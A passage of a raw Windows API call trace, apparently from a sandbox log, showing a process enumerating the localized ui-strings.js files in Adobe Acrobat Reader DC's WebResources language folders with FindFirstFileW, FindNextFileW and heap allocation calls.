ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x56e, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.861] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0255.862] GetProcessHeap () returned 0xc10000 [0255.862] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.862] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="root", cAlternateFileName="")) returned 1 [0255.862] GetProcessHeap () returned 0xc10000 [0255.862] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.862] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\root\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0255.863] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.863] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.864] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x53d, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.864] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0255.864] GetProcessHeap () returned 0xc10000 [0255.864] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.864] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru-ru", cAlternateFileName="")) returned 1 [0255.864] GetProcessHeap () returned 0xc10000 [0255.864] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.864] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\ru-ru\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0255.864] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.865] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x642, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.865] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x642, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.865] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0255.865] GetProcessHeap () returned 0xc10000 [0255.865] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.865] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk-sk", cAlternateFileName="")) returned 1 [0255.865] GetProcessHeap () returned 0xc10000 [0255.865] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.865] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sk-sk\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0255.867] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.867] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.867] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.867] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0255.867] GetProcessHeap () returned 0xc10000 [0255.867] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.867] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-si", cAlternateFileName="")) returned 1 [0255.867] GetProcessHeap () returned 0xc10000 [0255.867] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.867] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-si\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0255.868] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.868] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x556, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.868] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x556, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.868] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0255.869] GetProcessHeap () returned 0xc10000 [0255.869] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0255.869] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl-sl", cAlternateFileName="")) returned 1 [0255.869] GetProcessHeap () returned 0xc10000 [0255.869] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0255.869] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sl-sl\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0255.869] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0255.869] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0255.870] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4d8, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0255.870] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0256.150] GetProcessHeap () returned 0xc10000 [0256.150] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.150] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sv-se", cAlternateFileName="")) returned 1 [0256.150] GetProcessHeap () returned 0xc10000 [0256.150] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.150] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\sv-se\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49a8 [0256.151] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.151] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x568, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.151] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x568, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.151] FindClose (in: hFindFile=0x33e49a8 | out: hFindFile=0x33e49a8) returned 1 [0256.152] GetProcessHeap () returned 0xc10000 [0256.152] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.152] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="tr-tr", cAlternateFileName="")) returned 1 [0256.152] GetProcessHeap () returned 0xc10000 [0256.152] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.152] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\tr-tr\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0256.152] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0256.153] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.153] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0200672, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0200672, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0200672, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x554, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0256.153] FindClose (in: hFindFile=0x33e4f68 | out: hFindFile=0x33e4f68) returned 1 [0256.153] GetProcessHeap () returned 0xc10000 [0256.153] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x39928b8 | out: hHeap=0xc10000) returned 1 [0256.153] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0141af0, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf0141af0, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf0141af0, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0256.153] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5db00 | out: lpFindFileData=0x2e5db00*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="uk-ua", cAlternateFileName="")) returned 1 [0256.153] GetProcessHeap () returned 0xc10000 [0256.154] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x39928b8 [0256.154] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\my-computer\\js\\nls\\uk-ua\\*", lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4f68 [0256.154] FindNextFileW (in: hFindFile=0x33e4f68, lpFindFileData=0x2e5d878 | out: lpFindFileData=0x2e5d878*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf01da57f, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xf01da57f, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xf01da57f, ftLastWriteTime.dwHighDateTime=0x1d39f5d, 